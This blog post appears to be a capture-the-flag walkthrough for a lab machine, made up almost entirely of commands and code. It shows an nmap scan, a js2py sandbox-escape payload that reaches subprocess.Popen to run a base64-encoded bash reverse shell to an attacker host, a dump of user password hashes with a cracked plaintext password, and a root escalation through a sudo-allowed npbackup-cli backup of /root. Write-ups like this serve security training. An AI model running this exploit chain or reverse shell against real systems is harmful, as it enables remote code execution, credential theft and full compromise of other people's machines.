Alan's Blog

1
/usr/lib/nmap/nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v 10.10.11.82
2
...
3
PORT     STATE SERVICE
4
22/tcp   open  ssh
5
8000/tcp open  http-alt

1
┌──(root㉿kali)
2
└─# head app.py
3
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
4
from flask_sqlalchemy import SQLAlchemy
5
import hashlib
6
import js2py
7
import os
8
import json
9

10
js2py.disable_pyimport()
11
app = Flask(__name__)
12
app.secret_key = 'S3cr3tK3yC0d3Tw0'

1
echo -n 'bash -i >& /dev/tcp/{YOUR_IP}/{YOUR_PORT} 0>&1' | base64

1
let cmd = "echo {YOUR_BASE64_STR} | base64 -d | bash"
2
let hacked, bymarve, n11
3
let getattr, obj
4

5
hacked = Object.getOwnPropertyNames({})
6
bymarve = hacked.__getattribute__
7
n11 = bymarve("__getattribute__")
8
obj = n11("__class__").__base__
9
getattr = obj.__getattribute__
10

11
function findpopen(o) {
12
    let result;
13
    for(let i in o.__subclasses__()) {
14
        let item = o.__subclasses__()[i]
15
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
16
            return item
17
        }
18
        if(item.__name__ != "type" && (result = findpopen(item))) {
19
            return result
20
        }
21
    }
22
}
23

24
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
25
console.log(n11)
26
function f() {
27
    return n11
28
}

1
bash-5.0$ ls -la
2
drwxrwxr-x 6 app app 4096 Sep  6 05:07 .
3
drwxr-x--- 6 app app 4096 Sep  6 03:17 ..
4
-rw-r--r-- 1 app app 3679 Sep  1 13:19 app.py
5
drwxrwxr-x 2 app app 4096 Sep  6 04:48 instance
6
drwxr-xr-x 2 app app 4096 Sep  1 13:25 __pycache__
7
-rw-rw-r-- 1 app app   49 Jan 17  2025 requirements.txt
8
drwxr-xr-x 4 app app 4096 Sep  1 13:36 static
9
drwxr-xr-x 2 app app 4096 Sep  1 13:20 templates
10
-rw-r--r-- 1 app app  268 Sep  6 05:07 temp.py

1
bash-5.0$ ls -la instance
2
drwxrwxr-x 2 app app  4096 Sep  6 04:48 .
3
drwxrwxr-x 6 app app  4096 Sep  6 05:07 ..
4
-rw-r--r-- 1 app app 16384 Sep  6 05:00 users.db

1
bash-5.0$ sqlite3 instance/users.db "SELECT * FROM user;"
2
1|marco|649c9d65a206a75f5abe509fe128bce5
3
2|app|a97588c0e2fa3a024876339e27aeb42e

1
marco:sweetangelbabylove

1
bash-5.0$ sudo -l
2
Matching Defaults entries for marco on codeparttwo:
3
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
4

5
User marco may run the following commands on codeparttwo:
6
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

1
bash-5.0$ cp ~/npbackup.conf /tmp/npbackup.conf
2
bash-5.0$ head /tmp/npbackup.conf
3
conf_version: 3.0.1
4
audience: public
5
repos:
6
  default:
7
    repo_uri:
8
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
9
    repo_group: default_group
10
    backup_opts:
11
      paths:
12
      - /root/

1
bash-5.0$ sudo /usr/local/bin/npbackup-cli --config /tmp/npbackup.conf -b

1
bash-5.0$ sudo /usr/local/bin/npbackup-cli --config /tmp/npbackup.conf --dump /root/root.txt